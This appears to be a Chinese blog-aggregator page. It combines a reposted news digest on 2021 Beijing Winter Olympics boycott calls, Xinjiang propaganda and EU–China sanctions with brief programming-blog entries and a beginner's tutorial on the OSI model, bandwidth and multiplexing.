现在澳大利亚、英国、加拿大和美国均有政界人士发声，质疑派代表团参加北京冬奥会的计划。《泰晤士报》文章呼吁，要像抵制莫斯科奥运一样抵制2022年北京冬奥会。
CNN 报道则说，去年12名美国国会参议员提交了一个要求国际奥委会取消中国举办2022年冬奥会资格，重新申请奥运举办权的两党决议案。
......
◇《2022北京冬奥会，人权组织集体呼吁抵制中国主办冬季奥运会 @ BBC/英国广播公司》
（编程随想注：此文发布于2021年2月5日；以下是此文的摘录）
超过180个组织向各国政府发出呼吁，因为有报道指中国对少数民族的人权侵害，要求抵制2022年北京冬奥会。
......
由西藏人、维吾尔人、香港居民等等人士组成的倡议团体发布了一封联署公开信，呼吁抵制北京冬奥会，以确保它“不会被利用来为中国政府惊人的人权侵害和镇压异见行为壮胆”。
人权组织指，在中国西北部的新疆自治区，中国政府已经逐渐削弱维吾尔人的宗教和其他自由，最终形成一个集大规模监控、关押、意识教化甚至强制绝育于一体的镇压体系。
中国一直否认在新疆存在人权侵害，坚称相关的营地不是拘留营，而是“职业教育和训练中心”。
“历史正不幸地重复82年前在1936年纳粹奥运会发生过的事，”自由西藏学生运动组织的多吉才旦说。该组织是参与联署的团体之一。“由柏林主办奥运会帮助希特勒对犹太人的种族灭绝取得合法性，并壮大了纳粹政权。各国政府以及国际社会必须抵制2022年北京冬奥会，并采取立场捍卫民主、自由和人权的价值。”
世界维吾尔代表大会的茱莫泰（Zumretay Arkin）表示：“我们遭受的苦难完全被国际奥委会漠视了。现在应该由各国政府来采取行动，通过抵制一场种族灭绝奥运会来显示一些体面的人道。”
......
◇《2022年北京冬奥改变举办地点呼声逐渐升温 @ 路透社》
（编程随想注：此文发布于2021年2月16日；以下是此文的摘录）
加拿大总理特鲁多（Justin Trudeau）周二表示，国际奥委会（IOC）与加拿大奥林匹克委员会（COC）正密切关注中国人权问题；目前距离北京冬季奥运只剩不到一年，但变更举办地点的呼声持续升温。
“关于奥运会，我们持续大声疾呼支持全球各地人权，就人权问题提出呼吁，一如我个人之前直接对中国与许多其他国家领导者提出的说法，”特鲁多在每日新闻简报会中对记者表示。
“我们知道 IOC、COC、加拿大残奥会（Canadian Paralympic Committee）与其他单位正在密切关注这个问题，我们当然也会继续密切注意。”
在特鲁多就愈发微妙的立场做出字斟句酌的回应之际，保守党领袖 Erin O'Toole 与绿党领导人 Annamie Paul 的态度则是更为直接。
O'Toole 周二在记者会中说，鉴于中国侵犯人权，并称新疆少数民族维吾尔族所的境况是种族灭绝，中国并不适合主办这场世界体坛盛事。
Paul 则呼吁加拿大政府支持2022年冬季奥运会移地举行，并呼吁加国挺身而出成为替代的举办地点。
......
★又见“大外宣”
◇《中国突然发力，加大宣传新疆“美好生活” @ RFI/法广》
（编程随想注：此文发布于2021年3月24日；以下是此文的摘录）
据自由亚洲今天报道说，正当国际社会谴责中国侵犯新疆维吾尔人权，并作出相应的制裁之际，社交平台油管频道（YouTube），最近突然增多了来自新疆少数民族描绘本民族生活的视频。在视频中，有维吾尔族也有哈萨克族，他们讲述当地的美满生活，听来令人向往。
对此，总部在德国的世界维吾尔代表大会发言人迪里夏提本周三（24日）告诉该台，该组织注意到有人利用油管频道散布虚假信息，以配合北京政府应对国际社会的压力：“中国政府为了应对国际压力，利用官方垄断的媒体资源散布虚假的信息，同时利用外交途径配合官方虚假信息，企图歪曲当地维吾尔人所遭受的中国系统性迫害的事实。”
......
据自由亚洲报道引述热依斯汗说，如果新疆真如视频中人所描绘的那般美好，少数民族可安居乐业，中国政府为何禁止外国独立机构去新疆展开调查，为何不准海外媒体记者到新疆独立采访？“在国外的这些集中营受害者，经历者、集中营教师，他们说出来的是真实情况。中国这些官员无法否认事实，所以他们想方设法去掩盖。”
◇《中国大外宣进占 YouTube，声称新疆生活好 @ 马来西亚东方日报》
（编程随想注：此文发布于2021年3月25日；以下是此文的摘录）
中国因新疆人权问题连遭美国、欧盟等西方阵营制裁，YouTube 突然冒出多个疑似中国“大外宣”的帐号，上传新疆少数民族自称“生活美好、行动自由”的影片，引起海外人权团体强烈质疑。
人权团体质疑，新疆的网路管制远比中国其他地方严格得多，这些普通少数民族人士“是怎么把影片上传的”？
......
根据报导，旅居哈萨克的新疆哈萨克族商人迪娜透露，在她的家乡新疆伊犁，当地学生毕业后被要求到村委会，录下歌颂新疆生活美好的影片。但把影片上传到境外网站的是“国家干部”，而不是这些上镜头的毕业生，他们并不知道自己的影片被上传到网路上。
世界维吾尔代表大会发言人迪里夏提（Dilxat Raxit）对此表示，世维会已经注意到有人利用 YouTube 频道散布虚假讯息，以配合北京因应国际社会压力，企图歪曲当地维吾尔人遭到中国系统性迫害的现实。
......
◇《中国采用苏联克格勃惯用的假新闻手法 @ RFI/法广》
（编程随想注：此文发布于2021年3月9日；以下是此文的摘录，引文中的粗体是俺标注滴）
......
法国军校战略研究所2020年4月的一份报告显示：自新冠疫情开始，中国采用了俄罗斯惯用的假新闻手法。围绕新冠病毒起源的宣传方式与苏联1985年围绕艾滋病起源说的宣传手法惊人相似。战略研究所这份报告的作者指出，新冠疫情之前，中国的信息战战略与俄罗斯不同，目的是重塑中国在世界的形象，主要面向海外华人，也不一定开展秘密行动。而莫斯科的做法则是全方位行动，削弱其对手。
但随着新冠疫情爆发，北京当局改变了方式，传播大量不实内容，比如中国外交部发言人在推特上转发视频，显示罗马尼亚人如何感谢中国的援助，但相关视频后被证实是拼凑制作。中方也会在西方社交媒体开设假账户。根据美国媒体 ProPublica 的统计，有上万推特账号参与了一次协调行动。有些方法2019年就已经在香港使用，新冠疫情开始后，这种努力又增添了苏联时代为诋毁美国而使用的假新闻手段，指控美国应对这次新冠疫情负责。战略研究所这份报告认为，这种手法，与苏联克格勃在80年代使用的手法相近。莫斯科当局当时曾利用相关部门传播一项虚假的研究，试图让人们相信，艾滋病病毒来自美国军队的实验室。报告梳理线索指出，在去年2月21日至3月23日间，中国政府发言人和驻外使馆，以及官方媒体，接力引述和传播中国科学家关于病毒源于国外的发言。同时，中国外交部引述一个被认为阴谋论团体十分活跃的加拿大网站，支持关于病毒由美国人制造的说法。但相关文章作者的背景神秘。有可能是与某个党国体制相关的假名。
法国国际关系研究院也刚刚就网络时代大国争雄的信息战战略发表一项研究报告。两名作者接受《解放报》采访时指出，中国的影响力战略最早是在本国施展，包括香港和台湾。最初的逻辑是防卫，因为中国视因特网为传播来自西方颠覆性思想的工具。这种战略此后转向国外，既利用官方媒体，也利用水军和言辞激烈、看似独立的网络活跃评论人，组成五毛大军。也会与军队或情报部门合作，利用微博或微信，举行威吓，尤其是针对台湾。中国军队也自2015年起，在海、陆、空和导弹四大军种之外，开设第五军种（战略支援部队），集合太空与网络这两个中国军事科技的支柱。和美国国家安全局或俄罗斯情报总局一样，该军种技术能力非常强。
......
★脱钩 ＆ 新冷战
关于“中美脱钩”的话题，俺在去年已经发过好几篇博文了。看如今这个架势，不光美国与天朝会逐步脱钩，欧洲也有类似的倾向。
由于天朝具有“世界工厂”的地位，脱钩不会很快完成（不可能短期内完成）。但这个趋势已经显现。
所有这一切，都要感谢天朝的【总加速师】——习呆呆同志！
◇《欧中相互制裁，欧议员警告投资协议堪忧 @ 德国之声》
（编程随想注：此文发布于2021年3月23日；以下是此文的摘录，引文中的粗体是俺标注滴）
在欧盟自1989年以来首次因中国侵犯人权而对中国实施制裁后，北京也发动制裁反击，欧盟政治人物对此表示谴责，双方的投资协议因此命运未卜。
针对北京22日制裁欧盟议员和议会人权小组委员会，多位欧盟官员表示「不可接受」。
......
对于北京的回应，欧盟外交政策负责人博雷尔（Josep Borrell）说：「中国非但没有改变政策，解决我们的合理关切，反而再次睁一只眼闭一只眼，这些措施令人遗憾且不可接受。」
欧洲议会主席萨索利 (David Sassoli)也同声谴责，并说北京此举「会有后果」。
荷兰首相吕特 (Mark Rutte)呼应欧盟官员的说法，并表示荷兰外长已经召见了中国大使。同样因此召见中国大使的还有法国。
比利时副首相威尔梅斯 (Sophie Wilmes)表示，布鲁塞尔「将与欧盟国家一起跟进此事」，并对中国作出回应。
北京所制裁的德国籍欧洲议会议员彼蒂科菲尔（Reinhard Bütikofer）将中国的回应形容为「荒谬」，并说：「中国政府已经不满足于仅仅在自己的国家压制言论自由，现在还想将其外部化。我认为他们低估了民主国家的应对能力。」
他对德国之声表示，一党专政的中国的领导层通过此次制裁措施“重重地关上了一扇门”，“他们不会真的相信这就能吓倒我们吧？”
他强调，欧洲议会将会回击，“没有我们欧洲议会的批准，欧中之间就不会签署什么协议。”
彼蒂科菲尔此处明显指向12月底欧中双方宣布“完成谈判”的欧中投资协议，该协议尚未正式签署。按照原先计划，该协议力争在2022年法国任欧盟轮值主席国期间予以签署并交欧洲议会批准通过。
......
◇《制裁纠纷威胁＜中欧投资协定＞前途 @ FT/英国金融时报》
（编程随想注：此文发布于2021年3月24日；此文内容与前一篇类似，俺就不摘录啦）
◇《他们反的不是 H＆M，而是自己 @ 德国之声》
（编程随想注：此文发布于2021年3月25日；以下是此文的摘录，引文中的粗体是俺标注滴）
......
随着新疆人权问题的升级，新冷战终于出现了两个战场。...... 一方面，中国政府轻率地对欧洲议会和欧盟机构发起报复性制裁，形同左手捅了一个马蜂窝、右手摸了老虎屁股，将过去四年与美中保持等距关系的欧洲迅速驱赶回冷战的紧密关系。布林肯昨天在布鲁塞尔的告别演说提醒欧洲人民，在目睹了这一连串不可思议的挑衅之后，有必要回到艾森豪威尔总统时代的价值观，那就是公平、公正和自由。在绥靖立场上犹豫许久的欧洲政客们，在较美国更重视价值观外交的欧洲精英面前，他们开始转向了。
而另一方面，不由得这些同样看重全球化经济利益的政客们所唏嘘，那就是围绕着新疆人权问题，企业界和国际公民社会正在动员起来，他们不满足于欧盟理事会对新疆公安官员举重若轻的象征性制裁，而是加入了抵制新疆棉花和2022北京冬奥会的运动。而且，这一运动虽然早已开始，其进展之快却出乎意料，几近于形成了一个未来全球化产品的人权标准，俨如 ISO 质量体系和社会责任标准一样，正在被越来越多的企业经理们所接受。如果再考虑到美欧对互联网隐私和安全的关注、对涉华技术安全的关注。那么，一个围绕人权和安全的价值标准正在形成，也在重新塑造着全球化的供应链。
然而，中国公众似乎并没有太在意维族人民的命运，反倒跟抵制新疆棉花的跨国企业 H＆M 和耐克、阿迪达斯等等消费品较上了劲。这不仅是在跟“衰落的西方”较劲，而且是跟全球化在较劲，跟中国的新兴中产阶级们热爱的麦当劳化的全球化的生活方式在较劲。中国在反对中国！
这就是过去两周我们看到的一个历史时刻：中国在反对中国。曾几何时，王教授到访美国之后写了一本书，叫《美国反对美国》，虽然并未抱着昔日斯大林主义的布尔什维克们所坚信的资本主义必定趋向总体危机而灭亡，但也笃定美国的民主必然导致内部的分裂和冲突从而无可避免的走向罗马帝国式的衰落。这是中国领袖在新冠疫情之后作出“东升西降”伟大判断的依据，也是中国的义和拳或者塔利班外交官们不惜向欧洲价值观宣战的初心，丝毫不顾七年来艰辛谈判取得的中欧投资保护协定，一个几乎就要成功的新慕尼黑协议，可能也是中国的拳民们被狗哨唤醒、重演“915”反日、“萨德”反韩的狂热所在。
接下来的，或许就是历史的重演，无论是满清向世界的宣战，还是新冷战的升级，抑或第二次太平洋战争的爆发。毕竟，在一个非理性的国度里，历史理性是唯一的可能。
◇《彭达兹：中国让欧美间达成共识的议题越来越多 @ RFI/法广》
（编程随想注：此文发布于2021年3月24日；以下是此文的摘录，引文中的粗体是俺标注滴）
法国战略研究基金会的彭达兹先生（Antoine Bondaz）是亚太问题专家，从3月19号开始，因为他对中国驻法大使馆对法参议员拟出访台湾的批评发推特评论而遭到中国驻法大使馆的连番人身攻击侮辱，这个事件在法国学界和政界引发前所未有的震撼和反弹。法国外交部召见中国驻法大使卢沙野，进行了抗议。法国媒体将卢沙野形容为让“中法关系脱离轨道的外交官”。本周，因为新疆等人权议题，中欧进行互相制裁，双边关系急转直下。在中国的制裁名单中，包括多名来自不同国家的欧洲议会议员，引发对《中欧双边投资协议》能否过关的质疑。与此同时，欧洲与美国高层互动频繁，除了美国国务卿布林肯北约及布鲁塞尔之行外，拜登也将在欧盟首脑峰会上与各国领导人就重要议题进行互动，双方均强调“重振美国与欧盟的双边关系”。
......
法广：
在中国与欧盟的关系中，去年年底签署的中欧双边投资框架协议极具象征和重要性，众所周知，该协议需要斯特拉斯堡欧洲议会讨论通过批准，但中国方面现在对多名欧洲议员因他们对中国人权问题关注的立场进行了制裁，这种做法会让这个协议的签署遇到巨大障碍吗？
彭达兹：
很清楚，中国政府在法国对议员的行动进行批评，现在又对（欧洲）议员们进行制裁，这也意味着我们的民主体制被制裁了，而不仅仅是针对一些政治观点和立场的制裁。在这种背景下，很难想象中欧双边投资协议在欧洲议会能得到通过。这几天，不仅多个欧洲议员，而且欧盟委员会也都放风指出，在目前的情况下，该协议被通过的可能性非常小。
当然，目前就此协议下一个结论还为时过早，欧洲内部也尚未就此进行讨论，遵守民主程序非常重要，几个月后就知道该协议是否最终能在欧洲议会通过。但很清楚的是，目前中国的形象不断恶化，中国实施的制裁的确对双边关系造成损害，这些都让该协议的最终签署变得更加困难。
......
◇《中国让西方团结一心共同抵抗 @ 德国之声》
（编程随想注：此文发布于2021年3月26日；以下是此文的摘录，引文中的粗体是俺标注滴）
瑞士《新苏黎世报》发表评论《中国让西方团结一心共同抵抗》（China eint den Westen im Widerstand）。
评论开篇写道：“胆小的人为了避免难堪喜欢把自己掩藏起来，自信的人勇往直前，充分展现自我。在2020年新冠之年，中国终于完成了向自信的世界大国的转变。通过在国内的重拳出击及时迅速地控制住疫情，加强了共产党领导的合法性，也让它越来越公开地、无所顾忌地追求自己的权力利益。但是骄傲地展示自己的自信也会带来不利的一面。那些在世界舞台上声势浩大出场的人越来越多地露出了其真面目。这种做法让邻国和西方观察家们很是反感。”
评论指出，很长一段时间以来，西方国家只重视同中国之间的经贸关系，（西方人）“不愿谈论（中国）缺乏民主自由、侵犯人权或故意违反国际协定的问题”。但是现在情况不同了，评论写道，“中国官方在新冠疫情在武汉爆发事件中的掩盖手段、新疆出现的严重侵犯人权的现象、对香港民主反对派的残酷扼杀、对周边国家采取的无情的利益政策，都在公众的印象中留下了深深的印迹。去年欧洲主要国家公民中，对中国持负面印象的比例飙升至近四分之三。”
本周一（3月22日）， 欧盟外长会议通过对4名中国官员以及一家机构进行制裁的决议，其范围包括禁止入境以及冻结他们的国外资产。这是1989年“六四学运”之后，欧盟首次就人权侵害问题向中国祭出制裁措施。同一天， 中国外交部宣布对欧洲10名个人和4个实体制裁。
《新苏黎世报》发表的评论写道：“北京已经跨越了一条不容忽视的界限。中共正在限制欧洲的基本公民权利，如言论自由和科研自由。他们正在干预民主体制和民选议员的行动自由。这是不可接受的！这就迫使每一个相信自由主义价值体系的欧洲人声援欧盟抵制中国。”
评论最后写道：“北京的统治者们正在逼迫欧洲表态。它让欧洲难以维持在经济算计下精心维护的将经济与政治、道德领域完全分离的对华关系假设。它正在将欧洲推向美国盟友的怀抱，美国盟友正以特朗普发起并由拜登继续执行的强硬路线，带头对抗挑战者中国。拜登在周四（3月25日）召开的欧盟线上峰会上亮相，庆祝跨大西洋联盟的实力，这是美国外交和安全政策的胜利。”
......
俺博客上，和本文相关的帖子（需翻墙）：
《从量变到质变——中美关系40年》
《澄清“中美对抗”常见的一些【误解】》
《聊聊“核战略的博弈模型”与“中美新冷战”》
《博弈论入门教程——从基本概念到具体案例》
《每周转载：半导体行业现状——华为全面断供、中芯前景堪忧、弘芯轰然倒塌（网文14篇）》
《每周转载：约瑟夫·奈谈“美国对华战略”（中英文对照及俺的点评）》
《每周转载：“中美对抗”进入【科技脱钩】阶段（网文7篇）》
《每周转载：中美贸易战升级，双方关税加码（外媒报道和网友评论）》
《每周转载：关于美国封杀华为（网文8篇）》
《每周转载：盘点一下贸易战爆发后的【中美对抗】（2018年4季度）》
版权声明
本博客所有的原创文章，作者皆保留版权。转载必须包含本声明，保持本文完整，并以超链接形式注明作者"编程随想"和本文原始地址。翻墙工具
使用 BT sync 自动同步各种翻墙工具（BT sync 免翻墙可用）， 同步密钥是 BTLZ4A4UD3PEWKPLLWEOKH3W7OQJKFPLG 如有其它问题，用program.think@gmail.com联系俺 - 博客 轶哥博客 2021-03-28 23:32:44<>在wi10中，访问
网络中的计算机共享文件，有些计算机配置需要使用账户和密码才能访问其共享的文件。<><>然而，如果勾选了
记住我的凭据，但是记住了一个错误的凭据（特别是当这个凭据用户名为guet或者某个被禁用的用户）。那么将会出现下面的报错，无法进入共享文件夹且无法切换用户。<>报错内容： \DESKTOP-XX 无法访问。你可能没有权限使用网络资源。请与这台服务器的管理员联系以查明你是否有访问权限。此用户无法登录，因为该帐户当前已被禁用。<>解决此问题需要删除在系统中已保存的有异常的用户信息。 - 博客 Jiajun的编程随想 2021-03-23 08:00:00《Golang GIN写单测时，愉快的使用返回值》我写的接口，基本长这样：```js...
- 博客 Jiajun的编程随想 2021-03-20 08:00:00《Python Queue源码分析》今天读源码时发现了 [Queue](https://docs.python.org/3/library/queue.html) 这个标准库，是Python标准库里对队列的实现，翻了一下源码，发现还挺有意思的...
- 博客 编程随想的博客 2021-03-18 21:15:00近期老是在写政治博文，又有两个月左右没写技术博文了。某些技术型的读者，背地里肯定骂俺太懒。今天搞了一篇内容特别长，信息量特别多的。喜欢看技术博文的读者，可以慢慢消化。
★本文的目标读者
今天这篇的标题是“扫盲”，也就是说：即使那些完全不懂 IT 领域，也不懂通讯领域的读者，依然能看懂（至少能看懂一部分）。为了做到这点，俺会尽量使用通俗的比喻，并适当加一些示意图。
另外，就算你已经比较了解网络通讯领域，本文中提到的某些部分，也可能是你所不知道的。也就是说：懂行的同学，看看此文，也会有帮助。
本文的标题特地强调了【系统性】——俺希望这篇教程能帮助读者对“计算机网络”这个领域进行系统性学习（何为“系统性学习”？请看这篇教程）
为了做到【系统性】这个目的，这篇教程很长。俺开博12年，这篇的长度估计能排到前5名。建议大伙儿慢慢看，不要着急。
★基本概念
为了足够通俗，俺先要介绍一些基本概念。
◇信道（channel）
这是通讯领域非常基本的概念，肯定要先聊聊它。
通俗地说，信道就是“传送信息的通道”。
◇信道的类型
首先，信道可以从广义上分为“物理信道 ＆ 逻辑信道”。
顾名思义，“物理信道”就是直接使用某种【物理介质】来传送信息；至于“逻辑信道”——是基于“物理信道”之上抽象出来的玩意儿（待会儿讲到“协议栈”的时候再聊）。
◇信道的带宽
“带宽”指的是：某个信道在单位时间内最大能传输多少比特的信息。
请注意：
电气领域 ＆ 计算机领域都有“带宽”这个概念，但两者的定义不太一样。电气领域所说的“带宽”指的是“模拟带宽”，单位是“赫兹/Hz”；计算机领域所说的“带宽”指“数字带宽”，单位是“比特率”或“字节率”。
后续章节提到“带宽”，都是指计算机领域的术语。
◇带宽的单位——容易把外行绕晕
“比特率”或“字节率”很容易搞混淆。用英文表示的话——大写字母B表示【字节】；小写字母b表示【比特】。
由于带宽的数字通常很大，要引入“K、M、G”之类的字母表示数量级，于是又引出一个很扯蛋的差异——“10进制”与“2进制”的差异。
【10进制】的K表示 1000；M表示 1000x1000（1百万）
【2进制】的K表示 1024（2的10次方）；M表示 1024x1024（2的20次方）
为了避免扯皮，后来国际上约定了一个规矩：对【2进制】的数量级要加一个小写字母i。比如说：Ki表示 1024；Mi表示 1024x1024 ...... 以此类推。
举例：
1Kbps 表示“1000比特每秒”
1KiBps 表示“1024字节每秒”
◇信道的工作模式：单工 VS 半双工 VS 全双工
再来说说信道的工作模式。大致可以分为如下三种。为了让大伙儿比较好理解，俺对每一种都举相应的例子。
单工（simplex）
比如“电台广播”就是典型的【单工】。“电台”可以发信号给“收音机”，但“收音机”【不能】发信号给“电台”。
半双工（half-duplex）
比如“单条铁路轨道”，就是典型的【半双工】。火车在单条铁轨上，可以有两种运行方向；但对于同一个瞬间，只能选其中一个方向（否则就撞车了）。
全双工（full-duplex）
比如“光纤”就是典型的【全双工】。在同一根光导纤维中，可以有多个光束【同时相向】传播，互相不会干扰对方。
◇端点
为了叙述方便，俺把参与通讯的对象（主体）称作“通讯端点”，简称“端点”。
这里的“端点”是广义的，可以是硬件（比如某个网卡），也可以是软件（比如某个应用程序）。
◇单播、组播/多播、广播、选播
对于“网络通讯”，至少得有 N 个端点参与，并且【N ≥ 2】才有意义。
当 N 个端点构成一个网络，这时候就会涉及到“单播、组播、广播”这几个概念。
通俗地说：
单播（unicast）——发送给网络中的指定的【单个】端点
组播/多播（multicast）——发送给网络中的指定的【多个】端点
广播（broadcast）——发送给网络中的【所有】端点
选播（anycast）——发送给网络中随机选择的【单个】端点
◇通讯协议（protocol）
所谓的“通讯协议”就是：参与通讯的各方所采用的某种【约定】。只有大家都遵守这个约定，才有可能相互传递信息。
打个比方：如果两个人要用自然语言交流，前提是：双方使用相同（或相互兼容）的自然语言。
“通讯协议”就类似某种自然语言，参与通讯的多个端点，都必须能理解这个语言。
★从“分层”到“参考模型”
◇分层
在聊“分层”之前，先说说“分工”。比如在一个公司中，通常设有不同的工种/岗位，这就【分工】。
对于网络通讯也是如此，不太可能用一种通讯协议完成所有的信息传递任务（注：对于特别简单的网络，或许有可能只用单一协议；但如今的网络通讯已经很复杂，用【单个】通讯协议包办所有事情，已经不太可能）
一旦采用了多种通讯协议，这几种协议之间，该如何配合捏？
在网络通讯领域，采用的是【分层】的设计思路。多个层次的协议在一起协同工作，技术上称作“协议栈”（洋文叫做“protocol stack”）。
◇协议栈的原理
对于多层次的协议栈。每个层次都有各自的“端点”（进行通讯的主体）。处于【同一层次】的两个端点会使用该层次的协议进行通讯（注：同一个层次的协议，可能只有一个，也可能有多个）。
除了最顶层，每个层次的端点会向其【直接】上层提供“服务”；除了最底层，每个层次的端点会调用【直接】下层提供的“服务”（这里所说的“服务”指某种“编程接口”，技术行话叫 API）。
（“协议栈”的示意图）
（“服务”与“协议”之间的关系）
◇逻辑信道
（前一个小节说了）每个层次会向上一个层次提供服务（API 调用）。对上层而言，调用下层提供的 API 发送信息，其效果相当于在使用某种【信道】进行通讯，这也就是俺在★基本概念
那个章节所说的“逻辑信道”。
（“逻辑信道”示意图）
◇数据格式的原理
大部分协议会把要传送的数据切割为 N 份，每一份就是一个数据包。
通常来说，数据包的格式有如下三部分：
头部
如果你收过快递，可以把“网络数据包”与“快递包裹”作一个对照——
身体（也称作“有效载荷”）
尾部（注：很多协议没有尾部）
数据包的“头/尾”，就类似于快递包裹的【包装袋】。数据包的“身体”，就类似于快递包裹里面的东西。
对于【相邻】两层的协议，【下】层包含【上】层。也就是说：下层协议的【载荷】就是上层协议的【整体】。
还是以快递举例：
假设你从网上买了一台笔记本电脑。电脑出厂时，电脑厂商肯定会提供一个包装盒。快递公司在寄送这台笔记本的时候，又会在笔记本的盒子外面再加一个包装袋。对应到网络协议——“快递公司的包装袋”相当于【下层】协议；“电脑厂商的包装盒”，相当于【上层】协议。
（上下层协议的格式及包含关系）
◇网络分层的参考模型
上述所说的“分层 ＆ 协议栈”只是一个抽象的（笼统的）思路。具体要分几层？每一层要干啥事儿？这些都是很有讲究滴！网络技术发展了几十年，已经有很多牛人提出了各种不同的划分方案，称之为“网络分层的参考模型”（为了打字省力，以下简称“模型”）。
在各种模型中，名气最大的当然是“OSI 模型”（洋文称作“OSI model”）。在后续的章节中，俺会以这个模型为主体，进行介绍。
除了“OSI 模型”还有一个很出名的模型是“TCP/IP 模型”（因为互联网很成功，它才跟着出名）。
对“TCP/IP 模型”的分层，不同的文章或书籍，说法不太一样（“3层、4层、5层”皆有），这就引发了一些争议。包括几位热心读者也在博客留言，表达不同意见。为了避免一家之言，贴出维基百科的“这个链接”，其中给出了几种比较有名的说法。
另外，俺想提醒一下：
由于本文是基于【OSI 模型】进行展开。对于 TCP/IP 模型到底算几层，这方面的争论【不】影响本文后续的内容。
★OSI 概述
◇OSI 的历史
“OSI”的全称是“Open System Interconnection”。先说说它的历史。
上世纪70年代，“国际电信联盟”（ITU）想对各国的电信系统（电话/电报）建立标准化的规格；与此同时，“国际标准化组织”（ISO）想要建立某种统一的标准，使得不同公司制造的大型主机可以相互联网。
后来，这两个国际组织意识到：“电信系统互联”与“电脑主机互联”的性质差不多。于是 ISO 与 ITU 就决定合作，两家一起干。这2个组织的2套班子，从上世纪70年代开始搞，搞来搞去，搞了很多年，一直到1984年才终于正式发布 OSI 标准。
◇OSI 标准的两个组成部分
严格来讲，OSI 包括两大部分——
其一，抽象的概念模型，也就是前面提到的【OSI model】；
其二，针对这个概念模型的具体实现（具体的通讯协议），洋文叫做【OSI protocols】。
（前面说了）OSI 是由 ISO ＆ ITU 联手搞出来滴。这两个国际组织里面的人，要么是来自各国的电信部门，要么是来自各国的高校学者。总而言之，既有严重的官僚风气，又有明显的学究风气。（正是因为这两种风气叠加，所以搞了很多年，才搞出 OSI）
OSI 的协议实现（OSI protocols），不客气地说，就是一堆垃圾——据说把 OSI protocols 所有的协议文档，全部打印成 A4 纸，摞起来得有一米多高！是不是很吓人？协议搞得如此复杂，严重违背了 IT 设计领域的 KISS 原则。
由于 OSI protocols 实在太复杂，后来基本没人用。但 OSI model 反而广为流传，并且成为“网络分层模型”中名气最大，影响力最广的一个。
因此，本文后续章节中，凡是提到 OSI，指的是【OSI model】。
◇OSI 模型的7层
OSI 模型总共分7层，示意图参见如下表格：
（注：为了打字省力，在后续章节把“数据链路层”直接称为“链路层”）层次 中文名 洋文名 第7层 应用层 Application Layer 第6层 表示层 Presentation Layer 第5层 会话层 Session Layer 第4层 传输层 Transport Layer 第3层 网络层 Network Layer 第2层 数据链路层 Data Link Layer 第1层 物理层 Physical Layer
考虑到本文是针对一般性读者的【扫盲教程】，俺重点聊第1~4层。搞明白这几个层次之后，有助于你更好地理解网络的很多概念，也有助于你更好地理解很多信息安全的概念。
网上已经有很多关于 OSI 的文章，可惜大部分写得粗糙——很多文章只是在照抄定义。
俺曾经写过一篇《学习技术的三部曲：WHAT、HOW、WHY》，其中提到【理解技术】的不同层次。要想更好地理解 OSI 模型，你得搞明白：为啥需要引入某某层？（请注意：这是一个 WHY 型的问题）
接下来在讨论 OSI 的每个层次时，俺都会专门写一个小节，谈该层次的【必要性】。搞明白【必要性】，你就知道为啥要引入这个层次。
★物理层：概述
◇物理层的必要性
通俗地说：直接与物理介质打交道的层次，就是物理层。这一层的必要性比较明显。
因为所有的通讯，归根结底都要依赖于【物理介质】。与物理介质打交道，需要牵涉到很多与【物理学】相关的东东。比如：“无线电通讯”需要关心“频率/波长”；电缆通讯需要跟“电压”打交道；“光纤通讯”需要关心“玻璃的折射率＆光线的入射角” ......
“物理层”的主要职责是：屏蔽这些细节，使得“物理层”之上的层次不用再去操心物理学。
◇物理信道的类型
何为“物理信道”，在本文开篇的“基本概念”已经提到了。
对于“物理信道”，还可以进一步细分为如下三大类：
1. 有线信道（比如：双绞线、同轴电缆、光纤、等等）
2. 无线信道（比如：微波通讯、电台广播、卫星通讯、等等）
3. 存储信道
“存储信道”比较少见，很多人没听说过，稍微解释一下。
假设你要把一大坨信息传送给另一个人，除了用“有线 or 无线”这两种通讯方式，还可以把信息先保存到某种【存储介质】（比如硬盘），然后再把存储介质用某种方式（比如快递）转交给对方。这就是所谓的“存储信道”。
◇信噪比（Signal-to-noise ratio）
俺在很多篇关于“学习＆心理学”的博文中提到过【信噪比】这个概念。其实这个概念是从通讯领域借用的术语。
对于“物理信道”，总是会存在某些环境干扰，称之为“噪声”（Noise）。“信道传输的有用信息”与“无用的干扰噪声”，这两者的比值就是“信噪比”。
“信噪比”单位是【分贝】。“分贝”洋文叫做“decibel”（简写为 dB）。“deci”表示“十进制”；“bel”是为了纪念大名鼎鼎的贝尔（电话它爹）。
◇带宽的限制因素
“物理信道”要依赖于物理传输介质。不管使用何种物理介质，都要受限于某些基本的物理学定律（比如“光速上限”）。另外，不管何种物理介质，总是会有或多或少的环境干扰（噪声）。这两个因素导致了：任何“物理信道”的最大传输率总是有限滴。
由于物理层是最底下的一层，物理层之上的其它层次总是要直接或间接地依赖【物理信道】。因此，其它层次建立的“逻辑信道”，其带宽只会比“物理信道”的最大带宽更小。换句话说：“物理信道”的带宽上限也就是整个协议栈的带宽上限。
◇多路复用（Multiplexing）
一般来说，凡是能实现【长距离】通讯的“物理信道”，都有相当的经济成本。比如铺设“光纤、同轴电缆”都要花钱。无线电通讯虽然免去了铺设线路的成本，但需要竞标购买频段。因此，物理信道非常强调“多路复用”。
所谓的“多路复用”，通俗地说就是：尽可能地共享物理信道，不要浪费了。
“多路复用”有很多种类型；不同的类型，原理也不同。为了展示各种不同的原理，俺拿【无线通信】来说事儿。
无线通信领域的“多路复用”，【至少】有如下几种：
频分多路复用/FDM（Frequency-Division Multiplexing）
这个最简单，就是根据频率拆分。不同的线路占用不同的频段，互不干扰。（电台广播用的就是这个思路）
但这个思路的缺点很明显——
其一，要依赖足够宽的频段（频段是稀缺资源）；
其二，不同线路的流量可能会动态变化。如果某个线路空闲，其占用的频段就浪费了。
（注：光纤通讯中有个“波分多路复用/WDM”，本质上就是 FDM）
时分多路复用/TDM（Time-Division Multiplexing）
这种思路只用一个很窄的频段。为了在同一个频道发送多个信道，采用【分时机制】，把时间切割成很小的时间片，每个线路占用一个时间片。周而往复。
这个思路有点像十字路口的红绿灯——每隔一段时间，其中一条路可以通行。
这个思路的优点是：可以只使用一个很窄的频段。缺点是：线路越多，每条线路等待越久；即使某个线路空闲，依然会占用时间片（浪费了资源）。
码分多路复用/CDM（Code-Division Multiplexing）
这种思路采用某种【编码】的技巧，使得多个端点可以在同一个时间点使用同一频段发送数据；由于他们采用不同的编码方式，不会相互干扰。
一般来说，CDM 要依赖于“扩频技术”（spread spectrum），需占用一个比较宽的频道范围。这算是缺点。但其优点很明显——
其一，可以支持 N 个线路（N 动态变化）；
其二，即使任何一个线路的流量动态变化，也不会浪费物理信道的资源。
